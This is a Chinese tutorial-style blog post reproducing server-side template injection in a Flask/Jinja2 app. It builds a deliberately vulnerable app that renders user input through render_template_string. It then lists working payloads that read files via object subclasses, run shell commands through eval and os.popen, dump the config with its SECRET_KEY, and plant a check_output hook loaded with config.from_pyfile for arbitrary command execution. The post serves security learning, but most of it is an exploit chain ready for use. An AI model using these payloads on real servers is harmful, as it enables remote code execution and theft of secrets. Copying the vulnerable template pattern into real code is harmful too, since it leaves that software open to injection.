Flask模板注入复现

ssti是什么就不说了,google/百度一下。

使用python2,环境配置:
pip install jinja2
pip install flask
pip install virtualenv

目录下放一个run.py文件和一个templates文件夹,templates文件夹内要有一个index.html。
run.py:
注意不要忘记第一行的# -*- coding: utf-8 -*-导致编码错误

# -*- coding: utf-8 -*-
#python2.7
import jinja2
from flask import Flask,render_template
render_template_string
flash
redirect
url_for
request
app = Flask(__name__)
app.config.from_object(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/check',methods=['POST'
'GET'])
def check():
	if request.method == 'POST':
		name = str(request.form['name'])
		template = u'''
		<center>
			<p>你好
%s
欢迎来到我的页面</p>
			<a href="/">点这里退出</a>
		</center>
		''' % (name)
		return render_template_string(template)
		
@app.errorhandler(404)
def page_not_found(e):
	return render_template('404.html'),404
if __name__ == "__main__":
    app.run()

index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>{% block title %}test pages{% endblock %}</title>
</head>
<body>
	<center>
			<p>请输入你的昵称</p>
			<form method="post" action="/check">
			<p>
			<input type="text" name="name" required>
			</p>
			<br>
			<p>
			<input type="submit" name="submit" value="Submit">
			</p>
			</form>
	</center>
</body>
</html>

然后python ./run.py启动服务,访问http://127.0.0.1:5000/。(如果端口冲突就换一个端口)
简单的一个页面,只有一个post表格


使用{{2 * 2}}测试一下


显然这里存在ssti
输入{{''.__class__.__mro__}}

通过{{''.__class__.__mro__[2]}}获得基类型object,然后使用{{''.__class__.__mro__[2].__subclasses__()}}获得大量可访问类

整理一下(可以用replace“, ”为“回车(ctrl+回车)”)

可以找到大量的可用类,比如下标为40的file

可以用这个类来读写文件
假设当前目录下有个test.txt

输入{{ ''.__class__.__mro__[2].__subclasses__()[40]('./test.txt').read() }}

不过对我们来说,如果能执行任意命令是坠吼的。
执行任意命令的方法有很多种。
比如
使用下标为58的 class 'warnings.WarningMessage'

通过
{{''.__class__.__mro__[2].__subclasses__()[58].__init__.__globals__['__builtins__']}}
来获得内置函数eval,exec等

这样就可以执行任意命令,比如
{{''.__class__.__mro__[2].__subclasses__()[58].__init__.__globals__['__builtins__'].eval("__import__('os').popen('pwd').read()")}}
来执行pwd命令

其中
__globals__是这样解释的:

__globals__:	
A reference to the dictionary that holds the function’s global variables — 
the global namespace of the module in which the function was defined.	
[Read-only]

所有的函数都会有一个__globals__属性,它会以一个dict的形式,返回函数所在模块命名空间中的所有变量
__init__是构造函数,不用多说
这样就可以通过的globals获得大量builtin函数(有的类没有),包括eval,exec来执行命令
再比如
config是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,是一个类字典的对象.它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。查看这些配置项目,只需注入{{ config.items() }}有效载荷。

config有一种方法from_pyfile,以下为from_pyfile方法的代码:

 def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

以及其中用到的from_object:

def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes.

        Just the uppercase variables in that object are stored in the config.
        Example usage::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))

from_pyfile会将指定路径文件的大写属性(注意,必须是大写,见from_object第27行)导入到config对象中。
所以可以这样操作,首先利用之前提到的file类写一个文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

成功写入。

其中check_output参数如下
check_output(args, *, stdin=None, stderr=None, shell=False, universal_newlines=False)
作用是建立一个子进程,子进程执行args中的命令,并将其输出形成字符串返回。

然后调用from_profile将刚才写的文件中的大写变量作为属性写入config
{{config.from_pyfile('cmd')}}
重新查看{{config}},发现成功插入

然后就可以执行任意命令, 比如
{{config['RUNCMD']('ls')}}

参考文章:
http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
https://uuzdaisuki.com/2018/05/28/SSTI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/qq_27446553/article/details/79379136

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注